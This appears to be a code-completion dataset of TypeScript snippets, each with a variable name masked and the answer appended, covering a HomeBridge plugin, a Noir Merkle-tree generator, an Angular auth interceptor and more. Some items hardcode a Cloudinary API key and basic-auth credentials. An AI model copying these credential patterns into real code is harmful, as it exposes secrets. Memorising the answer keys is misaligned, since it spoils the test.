      this.auto.getCharacteristic(api.hap.Characteristic.On)
        .on('get', this.handleAutoGet.bind(this))
        .on('set', this.handleAutoSet.bind(this));
      this.services.push(this.auto);
    }

    api.on('didFinishLaunching', () => {
      this.airConditionerAPI.connect();
    });

    setInterval(() => {
      this.airConditionerAPI.getState();
    }, 5000);

    this.airConditionerAPI.on('updateState', () => {
      this.service.getCharacteristic(api.hap.Characteristic.CoolingThresholdTemperature).updateValue(this.thresholdTemperature());
      this.service.getCharacteristic(api.hap.Characteristic.HeatingThresholdTemperature).updateValue(this.thresholdTemperature());
      this.service.getCharacteristic(api.hap.Characteristic.CurrentHeaterCoolerState).updateValue(this.currentHeaterCoolerState());
      this.service.getCharacteristic(api.hap.Characteristic.TargetHeaterCoolerState).updateValue(this.targetHeaterCoolerState());
      this.service.getCharacteristic(api.hap.Characteristic.Active).updateValue(this.active());
      this.service.getCharacteristic(api.hap.Characteristic.CurrentTemperature).updateValue(this.currentTemperature());
      this.service.getCharacteristic(api.hap.Characteristic.SwingMode).updateValue(this.swingValue());
      this.updateRotationSpeed();

      if (this.showDisplay) {
        this.display!.getCharacteristic(api.hap.Characteristic.On).updateValue(this.displayValue());
      }

      if (this.showHealth) {
        this.health!.getCharacteristic(api.hap.Characteristic.On).updateValue(this.healthValue());
      }

      if (this.showClean) {
        this.clean!.getCharacteristic(api.hap.Characteristic.On).updateValue(this.cleanValue());
      }

      if (this.showMildew) {
        this.mildew!.getCharacteristic(api.hap.Characteristic.On).updateValue(this.mildewValue());
      }

      if (this.showSleep) {
        this.sleep!.getCharacteristic(api.hap.Characteristic.On).updateValue(this.sleepValue());
      }
  
      this.updateAuto();
    });

  }

  updateRotationSpeed() {
    this.service.getCharacteristic(this.api.hap.Characteristic.RotationSpeed).updateValue(this.rotationSpeed());
  }

  updateAuto() {
    if (this.showAuto) {
      this.auto!.getCharacteristic(this.api.hap.Characteristic.On).updateValue(this.autoValue());
    }
  }

  getServices(): Service[] {
    return this.services;
  }

  active(): number {
    let currentValue = 0;
    if (this.airConditionerAPI.model.power === State.on) {
      currentValue = 1;
    } 

    return currentValue;
  }

  handleActiveGet(callback) {
    this.log.debug('Triggered GET Active');

    const currentValue = this.active();

    callback(null, currentValue);
  }


  handleActiveSet(value, callback) {
    this.log.debug('Triggered SET Active:', value);
    if (value === 1) {
      this.airConditionerAPI.setPower(State.on);
    } else {
      this.airConditionerAPI.setPower(State.off);
    }
    callback(null);

  }

  private currentHeaterCoolerState(): number {
    let currentValue = this.api.hap.Characteristic.CurrentHeaterCoolerState.INACTIVE;
    if (this.airConditionerAPI.model.mode === Mode.cooling) {
      currentValue = this.api.hap.Characteristic.CurrentHeaterCoolerState.COOLING;
    } else if (this.airConditionerAPI.model.mode === Mode.heating) {
      currentValue = this.api.hap.Characteristic.CurrentHeaterCoolerState.HEATING;
    } else {
      currentValue = this.api.hap.Characteristic.CurrentHeaterCoolerState.IDLE;
    }

    return currentValue;
  }

  handleCurrentHeaterCoolerStateGet(callback) {
    this.log.debug('Triggered GET CurrentHeaterCoolerState');

    const currentValue = this.currentHeaterCoolerState();

    callback(null, currentValue);
  }

  private targetHeaterCoolerState(): number {
    let currentValue = this.api.hap.Characteristic.TargetHeaterCoolerState.AUTO;
    if (this.airConditionerAPI.model.mode === Mode.cooling) {
      currentValue = this.api.hap.Characteristic.TargetHeaterCoolerState.COOL;
    } else if (this.airConditionerAPI.model.mode === Mode.heating) {
      currentValue = this.api.hap.Characteristic.TargetHeaterCoolerState.HEAT;
    } else if (this.airConditionerAPI.model.mode === Mode.auto) {
      currentValue = this.api.hap.Characteristic.TargetHeaterCoolerState.AUTO;
    }

    return currentValue;
  }

  handleTargetHeaterCoolerStateGet(callback) {
    this.log.debug('Triggered GET TargetHeaterCoolerState');

    const currentValue = this.targetHeaterCoolerState();

    callback(null, currentValue);
  }

  handleTargetHeaterCoolerStateSet(value, callback) {
    this.log.debug('Triggered SET TargetHeaterCoolerState:', value);

    if (value === this.api.hap.Characteristic.TargetHeaterCoolerState.AUTO) {
      this.airConditionerAPI.setMode(Mode.auto);
    } else if (value === this.api.hap.Characteristic.TargetHeaterCoolerState.COOL) {
      this.airConditionerAPI.setMode(Mode.cooling);
    } else if (value === this.api.hap.Characteristic.TargetHeaterCoolerState.HEAT) {
      this.airConditionerAPI.setMode(Mode.heating);
    } 

    callback(null);
  }

  private currentTemperature(): number {
    return this.airConditionerAPI.model.ambientTemp;
  }

  handleCurrentTemperatureGet(callback) {
    this.log.debug('Triggered GET CurrentTemperature');
    const currentValue = this.currentTemperature();
    callback(null, currentValue);
  }

  handleThresholdTemperatureSet(value, callback) {
    this.log.debug('Triggered SET ThresholdTemperature:', value);
    this.airConditionerAPI.setTemp(value);
    callback(null);
  }

  private thresholdTemperature(): number {
    return this.airConditionerAPI.model.temp;
  }

  handleThresholdTemperatureGet(callback) {
    this.log.debug('Triggered GET ThresholdTemperature');

    const currentValue = this.thresholdTemperature();

    callback(null, currentValue);
  }
  
  private rotationSpeed(): number {
    let currentValue = 1;
     
    if (this.airConditionerAPI.model.turbo === State.on) {
      currentValue = 100;
    } else if (this.airConditionerAPI.model.mute === State.on) {
      currentValue = 10;
    } else if (this.airConditionerAPI.model.fanspeed === Fanspeed.high) {
      currentValue = 60;
    } else if (this.airConditionerAPI.model.fanspeed === Fanspeed.medium) {
      currentValue = 40;
    } else if (this.airConditionerAPI.model.fanspeed === Fanspeed.low) {
      currentValue = 20;
    }
    return currentValue;
  }

  handleRotationSpeedGet(callback) {
    this.log.debug('Triggered GET RotationSpeed');
    const currentValue = this.rotationSpeed();
    callback(null, currentValue);
  }

  handleRotationSpeedSet(value, callback) {
    this.log.debug('Triggered SET RotationSpeed:', value);
    if (value > 1 && value <= 19) {
      this.airConditionerAPI.setSpeed(this.lastRotationSpeed, State.off, State.on);
      this.lastTurbo = State.off;
      this.lastMute = State.on;
    } else if (value > 19 && value <= 39) {
      this.airConditionerAPI.setSpeed(Fanspeed.low, State.off, State.off);
      this.lastRotationSpeed = Fanspeed.low;
      this.lastTurbo = State.off;
      this.lastMute = State.off;
    } else if (value > 39 && value <= 59) {
      this.airConditionerAPI.setSpeed(Fanspeed.medium, State.off, State.off);
      this.lastRotationSpeed = Fanspeed.medium;
      this.lastTurbo = State.off;
      this.lastMute = State.off;
    } else if (value > 59 && value <= 79) {
      this.airConditionerAPI.setSpeed(Fanspeed.high, State.off, State.off);
      this.lastRotationSpeed = Fanspeed.high;
      this.lastTurbo = State.off;
      this.lastMute = State.off;
    } else if (value > 79) {
      this.airConditionerAPI.setSpeed(this.lastRotationSpeed, State.on, State.off);
      this.lastTurbo = State.on;
      this.lastMute = State.off;
    }
    this.updateAuto();

    callback(null);
  }

  handleDisplaySet(value, callback) {
    this.log.debug('Triggered SET Display:', value);
    if (value === true) {
      this.airConditionerAPI.setDisplay(State.on);
    } else {
      this.airConditionerAPI.setDisplay(State.off);
    }
    callback(null);
  }

  private displayValue(): boolean {
    return this.airConditionerAPI.model.display === State.on;
  }

  handleDisplayGet(callback) {
    this.log.debug('Triggered GET Display');

    const currentValue = this.displayValue();

    callback(null, currentValue);
  }

  handleSwingSet(value, callback) {
    this.log.debug('Triggered SET Swing:', value);
    if (value === 1) {
      if (this.swing === 1) {
        this.airConditionerAPI.setSwing(Fixation.off, Fixation.on);
      } else if (this.swing === 2) {
        this.airConditionerAPI.setSwing(Fixation.on, Fixation.off);
      } else if (this.swing === 3) {
        this.airConditionerAPI.setSwing(Fixation.on, Fixation.on);
      }
    } else {
      this.airConditionerAPI.setSwing(Fixation.off, Fixation.off);
    }
    callback(null);
  }

  private swingValue(): number {
    if (this.swing === 1) {
      if (this.airConditionerAPI.model.horizontalFixation === Fixation.on) {
        return 1;
      } else {
        return 0;
      }
    } else if (this.swing === 2) {
      if (this.airConditionerAPI.model.verticalFixation === Fixation.on) {
        return 1;
      } else {
        return 0;
      }
    } else if (this.swing === 3) {
      // eslint-disable-next-line max-len
      if (this.airConditionerAPI.model.verticalFixation === Fixation.on && this.airConditionerAPI.model.horizontalFixation === Fixation.on) {
        return 1;
      } else {
        return 0;
      }
    }
    return 0;

  }

  handleSwingGet(callback) {
    this.log.debug('Triggered GET Swing');

    const currentValue = this.swingValue();

    callback(null, currentValue);
  }

  handleHealthSet(value, callback) {
    this.log.debug('Triggered SET Health:', value);
    if (value === true) {
      this.airConditionerAPI.setHealth(State.on);
    } else {
      this.airConditionerAPI.setHealth(State.off);
    }
    callback(null);
  }

  private healthValue(): boolean {
    return this.airConditionerAPI.model.health === State.on;
  }

  handleHealthGet(callback) {
    this.log.debug('Triggered GET Health');

    const currentValue = this.healthValue();

    callback(null, currentValue);
  }

  handleCleanSet(value, callback) {
    this.log.debug('Triggered SET Clean:', value);
    if (value === true) {
      this.airConditionerAPI.setClean(State.on);
    } else {
      this.airConditionerAPI.setClean(State.off);
    }
    callback(null);
  }

  private cleanValue(): boolean {
    return this.airConditionerAPI.model.clean === State.on;
  }

  handleCleanGet(callback) {
    this.log.debug('Triggered GET Clean');

    const currentValue = this.cleanValue();

    callback(null, currentValue);
  }

  handleMildewSet(value, callback) {
    this.log.debug('Triggered SET Mildew:', value);
    if (value === true) {
      this.airConditionerAPI.setMildew(State.on);
    } else {
      this.airConditionerAPI.setMildew(State.off);
    }
    callback(null);
  }

  private mildewValue(): boolean {
    return this.airConditionerAPI.model.mildew === State.on;
  }

  handleMildewGet(callback) {
    this.log.debug('Triggered GET Mildew');

    const currentValue = this.mildewValue();

    callback(null, currentValue);
  }

  handleSleepSet(value, callback) {
    this.log.debug('Triggered SET Sleep:', value);
    if (value === true) {
      this.airConditionerAPI.setSleep(State.on);
    } else {
      this.airConditionerAPI.setSleep(State.off);
    }
    callback(null);
  }

  private sleepValue(): boolean {
    return this.airConditionerAPI.model.sleep === State.on;
  }

  handleSleepGet(callback) {
    this.log.debug('Triggered GET Sleep');

    const currentValue = this.sleepValue();

    callback(null, currentValue);
  }

  handleAutoSet(value, callback) {
    this.log.debug('Triggered SET Auto:', value);
    if (value === true) {
      this.airConditionerAPI.setSpeed(Fanspeed.auto, State.off, State.off);
    } else {
      this.airConditionerAPI.setSpeed(this.lastRotationSpeed, this.lastTurbo, this.lastMute);
    }
    this.updateRotationSpeed();
    callback(null);
  }

  private autoValue(): boolean {
    return this.airConditionerAPI.model.fanspeed === Fanspeed.auto;
  }

  handleAutoGet(callback) {
    this.log.debug('Triggered GET Auto');

    const currentValue = this.autoValue();

    callback(null, currentValue);
  }
}",config
175,"// CircuitTomlGenerator.ts

import { MerkleTree } from './MerkleTree';
import { Fr, BarretenbergSync } from '@aztec/bb.js';

export class NoirCircuitTomlGenerator {
  private tree: MerkleTree;
  private depositMap: Map<number, { id: Fr; r: Fr }>;

  constructor() {
    this.tree = new MerkleTree(8);
    this.depositMap = new Map();
  }

  async init() {
    await this.tree.initialize([]);
  }

  /** Pads a number to 32-byte hex and wraps in an Fr. */
  private numToFr(num: number): Fr {
    const hex = num.toString(16).padStart(64, '0');
    return Fr.fromString('0x' + hex);
  }

  /**
   * Perform the off-chain deposit:
   * 1) compute commitment = PedersenHash(id, r)
   * 2) record oldRoot + proof path
   * 3) insert commitment into tree
   * 4) record `{id,r}` in the map under this index
   * 5) return all fields needed for the deposit.toml
   */
  gentoml(circuitType: 'deposit', id: Fr, r: Fr): string;
  /**
   * Generate a withdraw.toml by:
   * 1) looking up `{id,r}` from the map by index
   * 2) querying `this.tree.proof(index)` for the current path + root
   */
  gentoml(circuitType: 'withdraw', index: number): string;
  gentoml(
    circuitType: 'deposit' | 'withdraw',
     [MASK] : any,
    param2?: any
  ): string {
    if (circuitType === 'deposit') {
      const id: Fr =  [MASK] ;
      const r: Fr = param2!;
      const idx = this.tree.totalLeaves;
      const idxFr = this.numToFr(idx);

      // 1) get pre-deposit state
      const oldRoot = this.tree.root();
      const proof = this.tree.proof(idx);
      const hashPath = proof.pathElements;

      // 2) compute & insert commitment
      const commitment = this.tree.bb.pedersenHash([id, r], 0);
      this.tree.insert(commitment);
      const newRoot = this.tree.root();

      // 3) record just {id,r}
      this.depositMap.set(idx, { id, r });

      // 4) emit deposit.toml
      return `
id = ""${id.toString()}""
r = ""${r.toString()}""
oldPath = [${hashPath.map((fr) => `""${fr.toString()}""`).join(', ')}]
oldRoot = ""${oldRoot.toString()}""
newRoot = ""${newRoot.toString()}""
commitment = ""${commitment.toString()}""
index = ""${idxFr.toString()}""
      `.trim();
    } else {
      const idx: number =  [MASK] ;
      const entry = this.depositMap.get(idx);
      if (!entry) {
        throw new Error(`No deposit found at index ${idx}`);
      }
      const { id, r } = entry;
      const idxFr = this.numToFr(idx);

      // re-compute proof against current tree state
      const proof = this.tree.proof(idx);
      const hashPath = proof.pathElements;
      const root = proof.root;

      return `
r = ""${r.toString()}""
index = ""${idxFr.toString()}""
hashpath = [${hashPath.map((fr) => `""${fr.toString()}""`).join(', ')}]
root = ""${root.toString()}""
id = ""${id.toString()}""
      `.trim();
    }
  }
}
",param1
176,"import { BasicAuth, Columns, Trino } from 'trino-client';

const trino: Trino = Trino.create({
    server: 'http://localhost:8080',
    catalog: 'postgresql,tpcds,mssql',
    schema: 'public,sf1,dbo',
    auth:new BasicAuth('test')
  });
  

var outputData: {
    [key: string]: any;
}[]  

export async function getDBData(allCustomerQuery: string){
    const iter = await trino.query(allCustomerQuery);
      for await (const queryResult of iter) {
      console.log(queryResult.data);
      if(queryResult.data === undefined) continue;
      console.log(queryResult.columns);
      var columns: string[]=[];
      for (const column of queryResult.columns as Columns)
      {
        const nameValue : string = column.name;
        console.log(column.name);
        columns.push(column.name);
        console.log(`Column array value: ${column.name}`);
      }
      outputData = queryResult.data?.map(item=>{
        const obj:{[key:string]: any} = {};
        columns.forEach(( [MASK] ,index)=>{
          obj[ [MASK] ] = item[index];
        });
        return obj;
      });
      console.log(outputData);
    }
    return outputData;
  }",propertyName
177,"import {ExtensionContext} from 'vscode';

import {LanguageClient, LanguageClientOptions, ServerOptions} from 'vscode-languageclient/node';
import * as path from ""node:path"";

let client: LanguageClient;

/**
 * Build arguments for ralph-lsp.jar initialisation.
 *
 * @param release `true` to build args for publishing, else `false` for development.
 */
function build_args(release: boolean) {
    const dirName =
        __dirname;

    const  [MASK]  =
        path.resolve(dirName, 'ralph-lsp.jar');

    let args: string[];

    if (release) {
        args = [""-jar"",  [MASK] ]; // arguments for plugin release
    } else {
        const logsPath = path.resolve(dirName, ""../../""); // path for logs
        args = [""-jar"", `-DRALPH_LSP_LOG_HOME=${logsPath}`,  [MASK] ]; // arguments for local development
    }

    return args;
}

export function activate(context: ExtensionContext) {
    console.log(""Activating Ralph LSP client"");

    const args =
        build_args(true);

    const serverOptions: ServerOptions = {
        command: ""java"",
        args: args
    };

    const clientOptions: LanguageClientOptions = {
        documentSelector: [
            {pattern: '**/*.ral'},
            {pattern: '**/alephium.config.ts'},
            {language: 'json', pattern: '**/ralph.json'},
        ]
    };

    // Create the client and store it.
    client = new LanguageClient(
        'ralph-lsp',
        'Ralph LSP',
        serverOptions,
        clientOptions
    );

    // Start the client.
    client.start();
}

export function deactivate(): Thenable<void> | undefined {
    if (!client) {
        return undefined;
    }
    return client.stop();
}
",jarPath
178,"import moment = require('moment');

const
    prefixKey = ""x_reactk_"",
    userIdKey = prefixKey + ""user_id"",
    urlKey = prefixKey + ""url"",
    userAgentKey = prefixKey + ""user_agent"",
    languageKey = prefixKey + ""language"",
    platformKey = prefixKey + ""platform"",
    screenWidthKey = prefixKey + ""screen_width"",
    screenHeightKey = prefixKey + ""screen_height"",
    navigatorProductKey = prefixKey + ""navigator_product"",
    refererKey = prefixKey + ""referer"";

export class ReactKEvent {
    uid?: string;
    day: string;
    created_date: string;
    payload: {};
    client_id: string;
    type: string;

    constructor(clientId: string, eventType: string) {
        this.payload = {};
        this.client_id = clientId;
        this.type = eventType;
        let t = moment();
        t.utcOffset(0); // TODO improve to change timezone
        this.created_date = t.format(""YYYY-MM-DD[T]HH:mm:ss[Z]"");
        this.day = t.format(""YYYY-MM-DD"");
        this.setReferer().setUserAgent().setLanguage().setProduct().setPlatform().setScreenSize();
    }

    setUID( [MASK] : string): ReactKEvent {
        this.uid =  [MASK] ;
        return this;
    }

    setUserId(id: string): ReactKEvent {
        this.payload[userIdKey] = id;
        return this;
    }

    setPayload(payload: {}): ReactKEvent {
        for (let key in payload) {
            if (key.substr(0, prefixKey.length) != prefixKey) {
                this.payload[key] = payload[key];
            }
        }
        return this;
    }

    setUrl(id: string): ReactKEvent {
        this.payload[urlKey] = id;
        return this;
    }

    setReferer(): ReactKEvent {
        if (document && document.referrer) {
            this.payload[refererKey] = document.referrer;
        }
        return this;
    }

    setUserAgent(): ReactKEvent {
        if (navigator && navigator.userAgent) {
            this.payload[userAgentKey] = navigator.userAgent;
        }
        return this;
    }

    setLanguage(): ReactKEvent {
        if (navigator && navigator.language) {
            this.payload[languageKey] = navigator.language;
        }
        return this;
    }

    setPlatform(): ReactKEvent {
        if (navigator && navigator.platform) {
            this.payload[platformKey] = navigator.platform;
        }
        return this;
    }

    setProduct(): ReactKEvent {
        if (navigator && navigator.product) {
            this.payload[navigatorProductKey] = navigator.product;
        }
        return this;
    }

    setScreenSize(): ReactKEvent {
        if (screen && screen.width) {
            this.payload[screenWidthKey] = screen.width;
        }
        if (screen && screen.height) {
            this.payload[screenHeightKey] = screen.height;
        }
        return this;
    }
}",value
179,"import { api } from '../services/api';
import { DatumCharacters, ICharacters } from '../interfaces/';
import { useState, useEffect } from 'react';

interface Props {
  charactersAnime: DatumCharacters | null;
  isLoading: boolean;
}

export const useAnimeCharacters = (animeId: string) => {
  const [charactersList, setCharactersList] = useState<Props>({
    charactersAnime: null,
    isLoading: true,
  });

  const getData = async () => {
    const response = await api.get(`/anime/${animeId}/characters`);
    const characters = response.data.data;

    const charactersData = characters.map(async (character) => {
      const  [MASK]  = await api.get(
        `/anime-characters/${character.id}/character`
      );
      return  [MASK] .data.data;
    });
    const charactersDataResolved = await Promise.all(charactersData);
    // console.log(charactersDataResolved);
    setCharactersList({
      charactersAnime: charactersDataResolved,
      isLoading: false,
    });
  };

  useEffect(() => {
    getData();
  }, []);

  return {
    ...charactersList,
  };
};
",characterData
180,"import type {
    PlainJsonObject,
    CompressionTable,
    MangoQuery
} from './types';

/**
 * compress the keys of an object via the compression-table
 * @recursive
 */
export function compressObject(
    table: CompressionTable,
    obj: PlainJsonObject
): PlainJsonObject {
    if (typeof obj !== 'object' || obj === null) return obj;
    else if (Array.isArray(obj)) {
        // array
        return obj
            .map(item => compressObject(table, item));
    } else {
        // object
        const ret: PlainJsonObject = {};
        const keys = Object.keys(obj);
        for (let index = 0; index < keys.length; index++) {
            const key = keys[index];
            const compressedKey = compressedAndFlaggedKey(
                table,
                key as any
            );
            const value = compressObject(
                table,
                obj[key as any]
            );
            ret[compressedKey] = value;
        }
        return ret;
    }
}

/**
 * transform an object-path
 * into its compressed version
 * e.g:
 * - input: 'names[1].firstName'
 * - ouput: '|a[1].|b'
 */
export function compressedPath(
    table: CompressionTable,
    path: string
): string {
    const splitted = path.split('.');
    return splitted
        .map(subKey => {
            const compressedKey = compressedAndFlaggedKey(
                table,
                subKey
            );
            return compressedKey;
        }).join('.');
}

export function throwErrorIfCompressionFlagUsed(
    table: CompressionTable,
    key: string
) {
    if (key.startsWith(table.compressionFlag)) {
        throw new Error(
            'cannot compress objects that start with the compression-flag: ' +
            table.compressionFlag + ' on key ' + key
        );
    }
}

export function compressedAndFlaggedKey(
    table: CompressionTable,
    key: string
): string {
    throwErrorIfCompressionFlagUsed(
        table,
        key
    );
    /**
     * keys could be array-accessors like myArray[4]
     * we have to split and read the squared brackets value
     */
    const  [MASK]  = key.split('[');
    const plainKey =  [MASK] .shift() as string;
    const compressedKey = table.compressedToUncompressed.get(plainKey);
    if (!compressedKey) {
        return key;
    } else {
        const readdSquared =  [MASK] .length ? '[' +  [MASK] .join('[') : '';
        return table.compressionFlag + compressedKey + readdSquared;
    }
}


/**
 * compress a mango-query
 * so that it can be used to find documents
 * in a database where all documents are compressed
 */
export function compressQuery(
    table: CompressionTable,
    query: MangoQuery
): MangoQuery {
    const ret: MangoQuery = {
        selector: compressQuerySelector(
            table,
            query.selector
        )
    };
    if (query.skip) ret.skip = query.skip;
    if (query.limit) ret.limit = query.limit;

    if (query.fields) {
        ret.fields = query.fields
            .map(field => compressedPath(
                table,
                field
            ));
    }

    if (query.sort) {
        if (Array.isArray(query.sort)) {
            ret.sort = (query.sort as any[]).map((item: string | any) => {
                if (typeof item === 'string') {
                    const hasMinus = item.startsWith('-');
                    if (hasMinus) {
                        item = item.substr(1);
                    }
                    let compressedField = compressedPath(
                        table,
                        item
                    );
                    if (hasMinus) {
                        compressedField = '-' + compressedField;
                    }
                    return compressedField;
                } else {
                    return compressQuerySelector(
                        table,
                        item
                    );
                }
            });
        } else {
            const compressedSort: any = {};
            // do not use Object.entries, it is transpiled shitty
            Object.keys(query.sort).forEach(key => {
                const direction = (query as any).sort[key];
                const compressedField = compressedPath(
                    table,
                    key
                );
                compressedSort[compressedField] = direction;
            });
            ret.sort = compressedSort;
        }
    }
    return ret;
}

/**
 * @recursive
 */
export function compressQuerySelector(
    table: CompressionTable,
    selector: any
): any {
    if (Array.isArray(selector)) {
        return selector.map(item => compressQuerySelector(table, item));
    } else if (selector instanceof RegExp) {
        return selector;
    } else if (typeof selector === 'object' && selector !== null) {
        const ret: any = {};
        Object.keys(selector).forEach(key => {
            let useKey;
            if (key.startsWith('$')) {
                // operator
                useKey = key;
            } else {
                // property path
                useKey = compressedPath(
                    table,
                    key
                );
            }
            ret[useKey] = compressQuerySelector(
                table,
                selector[key]
            );
        });
        return ret;
    } else {
        return selector;
    }
}
",splitSquaredBrackets
181,"import AzuraSocket from ""./gateway/websocket"";
import { ClientEvents, IAzuraClientConstructorOptions } from ""../lib/types"";
import { APIRequester } from ""./rest/api"";
import { TypedEmitter } from ""tiny-typed-emitter"";
import { UsersCache } from ""./cache/users-cache"";

export default class AzuraClient extends TypedEmitter<ClientEvents> {
	public ws: AzuraSocket;
	public api: APIRequester;

	public users: UsersCache;

	public token: string;

	protected debug = false;

	public constructor({ token, debug }: IAzuraClientConstructorOptions) {
		super();

		this.ws = new AzuraSocket(this);
		this.users = new UsersCache(this);
		this.api = new APIRequester(token);

		this.token = token;
		this.debug = debug ?? false;

		this.setupEventListeners();
	}

	private setupEventListeners() {
		this.on(""debug"", ( [MASK] ) => {
			console.log( [MASK] );
		});
	}

	public login() {
		this.ws.connect();
	}

	public sendDebug(...message: (string | number | boolean)[]) {
		if (this.debug) {
			this.emit(
				""debug"",
				`[DEBUG (${new Date().toLocaleDateString()} at ${new Date().toLocaleTimeString()})]: ${message.join(
					"" "",
				)}`,
			);
		}
	}
}
",msg
182,"
import { Response, NextFunction } from ""express""
import asyncHandler from ""../../../helpers/async"";
import { SuccessResponse, SuccessMsgResponse } from '../../../core/ApiResponse';
import { BadRequestError } from ""../../../core/ApiError"";
// import { FileRepo } from ""./image.repository""
import { v2 as cloudinary } from ""cloudinary"";
import { CloudinaryResponse } from ""./interface""
import { FileService } from './file.service'
import { FileRepo } from ""./image.repository"";
// import { NoDataError, BadRequestError } from '../../../core/ApiError';
// import _ from 'lodash';

export class FileController {

  readonly fileService: FileService = new FileService()

    uploadOnCloudinary = async (req: any): Promise<CloudinaryResponse> => {
        const fileData: any = req.files;
        cloudinary.config({
            cloud_name: 'dairwfrpv',
            api_key: '759452217818743',
            api_secret: '<KEY>'
        });
        const  [MASK]  = {
            use_filename: true,
            unique_filename: false,
            overwrite: true
        };
        try {
            let uploadedFile = await cloudinary.uploader.upload(fileData.image.path,  [MASK] );
            return {
                path: uploadedFile.secure_url,
                fileSize: uploadedFile.bytes,
                fileType: `${uploadedFile.resource_type}/${uploadedFile.format}`,
                fileName: uploadedFile.original_filename
            };
        } catch (error: any) {
            throw new BadRequestError(error.message || ""Image Upload Field"");
        }

    }

    // fileUpload = asyncHandler(
    //     async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
    //         const { path, size, type, name }: any = req.files.file;
    //         const { destPath }: { destPath: string } = req.query;

    //         const file = await this.service.uploadFileToS3({
    //             fileName: name,
    //             filePath: path,
    //             folderName: destPath
    //         });
    //         // const { file } = await FileRepo.create(uploaded);
    //         new SuccessResponse('Added successfully', { file }).send(res);
    //     }
    // )

    // downloadFolder = asyncHandler(
    //     async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
    //         // const { path, size, type, name }: any = req.files.file;
    //         // console.log('====================================');
    //         // console.log(path);
    //         // console.log('====================================');
    //         // const { destPath }: { destPath: string } = req.query;

    //         await this.service.downloadS3FolderAsZip({
    //             folderPath: ""faizan/"",
    //             zipFilePath: ""/home/faizan_ahmed/Code/test.zip""
    //         });
    //         // const { file } = await FileRepo.create(uploaded);
    //         new SuccessResponse('Added successfully', {}).send(res);
    //     }
    // )

    videoUploadToS3 = asyncHandler(
      async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
  
        const source = await this.fileService.uploadOnS3({ file: req.files.file })
       //@ts-ignore
        console.log(""files Data"",source.Location.startsWith('h') ? source.Location : `https://${source.Location}`)
  
        const { file } = await FileRepo.create({
          // @ts-ignore
          // private_source_url: `${source.Location}`,
          private_source_url: source.Location.startsWith('h') ? source.Location : `https://${source.Location}`,
          
          // @ts-ignore
          // public_source_url: `${source.Location}`,
          public_source_url: source.Location.startsWith('h') ? source.Location : `https://${source.Location}`,
          size: `${req.files.file.size}`,
          dimensions: `0 x 0`,
          length: ""jjjjj"",
          type: `${req.files.file.type}`,
          folderId:req.query.folderId
        } as any);
  
        new SuccessResponse('Added successfully', { file }).send(res);
      }
    )

    // imageUpload = asyncHandler(
    //     async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
    //         const uploaded: CloudinaryResponse = await this.uploadOnCloudinary(req)
    //         const { file } = await FileRepo.create(uploaded);
    //         new SuccessResponse('Added successfully', file).send(res);
    //     }
    // )

    // imageUploadForEditor = asyncHandler(
    //     async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
    //         const uploaded: CloudinaryResponse = await this.uploadOnCloudinary(req)
    //         const { file } = await FileRepo.create(uploaded);
    //         res.send({
    //             success: 1,
    //             file: {
    //                 url: file.path,
    //             }
    //         });
    //     }
    // )

    // name = asyncHandler(
    //     async (req: any, res: Response, next: NextFunction): Promise<Response | void> => {
    //     }
    // )

}",options
183,"import {Injectable} from '@angular/core';
import {
  HttpInterceptor,
  HttpRequest,
  HttpHandler,
  HttpEvent,
} from '@angular/common/http';
import {Observable} from 'rxjs';

@Injectable()
export class AuthInterceptor implements HttpInterceptor {
  constructor() {
  }

  intercept(
    request: HttpRequest<any>,
     [MASK] : HttpHandler
  ): Observable<HttpEvent<any>> {
    request = this.addToken(request);
    return  [MASK] .handle(request);
  }

  private addToken(request: HttpRequest<any>): HttpRequest<any> {
    const authorizationCustom = this.getAuthorizationCustom(request);
    const auth = window.btoa('angularApp' + ':' + '12345');
    request = request.clone({
      setHeaders: {
        Authorization: `Basic ${auth}`,
        'Content-type': this.getContentType(request),
      },
    });
    return request;
  }

  getAuthorizationCustom(request: any): string {
    if (request.url.indexOf('/oauth/token') > 0) {
      return `Basic angularApp:12345`;
    } else {
      return `Bearer asdfghjk123`;
    }
  }

  getContentType(request: HttpRequest<any>): string {
    if ((request.url.includes('/impuesto/registrar')
        || request.url.includes('/contribuyente/editar')
        || request.method === 'PUT'
        || request.method === 'POST')
      && !request.url.includes('/security/oauth/token')) {
      return 'application/json';
    } else {
      return 'application/x-www-form-urlencoded';
    }
  }
}
",next
184,"import { HighlightResult, HighlightOptions, HLJSApi } from 'highlight.js'

export = function hljsCodeDiff (hljs: HLJSApi): HLJSApi {
  function highlight (code: string, options: HighlightOptions): HighlightResult {
    if (!options.language.startsWith('diff:')) {
      return hljs.highlight(code, options)
    }

    const actualLanguage = options.language.slice('diff:'.length)
    const diffLines = code.split('\n')
    const codeWithoutDiffMarkers = diffLines.map(line => line.slice(1)).join('\n')

    const result = hljs.highlight(codeWithoutDiffMarkers, { ...options, language: actualLanguage })
    const highlightedLines = result.value.split('\n')

    if (highlightedLines.length !== diffLines.length) {
      // Output lines didn't match input, this is unexpected, fall back to plain diff
      console.warn('[highlightjs-code-diff] failed to highlight because of line count mismatch')
      return hljs.highlight(code, { ...options, language: 'diff' })
    }

    const codeDiff = highlightedLines.map((line, i) => {
      const  [MASK]  = diffLines[i].slice(0, 1)

      switch ( [MASK] ) {
        case '+': return `<span class=""hljs-addition"">+${line}</span>`
        case '-': return `<span class=""hljs-deletion"">-${line}</span>`
        default: return `${ [MASK] }${line}`
      }
    }).join('\n')

    return {
      ...result,
      code,
      value: codeDiff,
      language: options.language
    }
  }

  return {
    ...hljs,
    highlight (codeOrLanguageName: string, optionsOrCode: string | HighlightOptions, ignoreIllegals?: boolean): HighlightResult {
      return typeof optionsOrCode === 'string'
        ? highlight(optionsOrCode, { language: codeOrLanguageName, ignoreIllegals })
        : highlight(codeOrLanguageName, optionsOrCode)
    }
  }
}
",diffMarker
185,"/* istanbul ignore file */

import {Xsd} from './Namespaces';
import * as SparqlJs from 'sparqljs';
import {BgpPattern, IriTerm, Pattern, Query, Wildcard} from 'sparqljs';
// import {Triple, IriTerm, BlankTerm, VariableTerm, QuadTerm} from
const SparqlGenerator = new SparqlJs.Generator();

type S = SparqlJs.IriTerm | SparqlJs.BlankTerm | SparqlJs.VariableTerm;
type P = SparqlJs.IriTerm | SparqlJs.VariableTerm | SparqlJs.PropertyPath;
type O = S | SparqlJs.LiteralTerm;
export type TTerm = P | O;
type T = SparqlJs.Triple;

export type POS = 'subject' | 'predicate' | 'object';

